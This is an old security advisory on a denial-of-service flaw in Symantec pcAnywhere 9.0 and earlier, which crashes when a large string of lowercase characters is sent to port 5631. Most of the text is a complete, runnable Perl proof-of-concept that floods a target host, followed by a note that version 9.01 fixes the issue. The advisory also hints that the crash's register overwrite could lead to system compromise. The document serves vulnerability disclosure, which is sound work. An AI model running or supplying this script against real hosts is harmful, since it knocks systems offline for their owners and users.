COMMAND
pcAnywhere
SYSTEMS AFFECTED
Symantec pcAnywhere 9.0 and earlier
PROBLEM
Following is based on a Securax-SA-14 Security Advisory. Symantec
PcAnywhere is a program that will allow others (who are authorised
to have access) to use your pc. It's simular to a Windows NT 4.0
terminal server.
PcAnywhere (when it's configured to 'be a host pc') listens on 2
ports, 5631 (pcanywheredata, according to nmap) and 65301
(pcanywhere). And when a user sends certain data in a particular
way, pcAnywhere will crash.
When a large amount (it depends, sometimes the host will go down
with 320k characters, sometimes, you will have to send 500k bytes
of data) are sent to a 'waiting' host on the pcanywheredata port,
"AWHOST32.EXE" will crash, and give an error on the screen, and
write the "Unexpected program error" to a logfile (with EAX, EBX,
... so read them, you'll find the yummy 0x61616161). Oh yeah,
don't use uppercase characters, as PcAnywhere won't crash on them.
The DoS code:
#!/usr/bin/perl
# Symantec PcAnywhere 9.0 Denial of Service
# -----------------------------------------
# by incubus <incubus@securax.net>
# http://www.hexyn.be
#
# http://www.securax.net
# All my love to Tessa.
# Greetz to: f0bic, r00tdude, t0micron, senti, vorlon, cicero,
# Zym0tic, segfault, #securax@irc.hexyn.be
# Thanks to jurgen swennen, for letting me (ab)use his computer.
#
# this is intended as proof of concept, do not abuse!
use IO::Socket;
$host = "$ARGV[0]";
$port = 5631;
if ($#ARGV<0) {
print "use it like: $0 <hostname>\n";
exit();
}
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "damn, ";
print "hello\n";
$buf = "";
for($counter = 0; $counter < 500000; $counter++) {
$buf .= "\x61";
}
print $socket "$buf\n";
close($socket);
exit();
If someone exploits this, than Symantec is forced to rename the
name of this product to PcAnyoneAnywhere or something... This
could lead to a compromise of a system.
SOLUTION
Symantec technicians have determined that this is the same problem
originally reported in BID 1150, Denial of Service Against
pcAnywhere in which pcAnywhere 9.0 and earlier could be crashed by
an nmap scan. This issue was corrected in Symantec pcAnywhere
version 9.01. PcAnywhere 9.01 through current versions are not
vulnerable to this problem.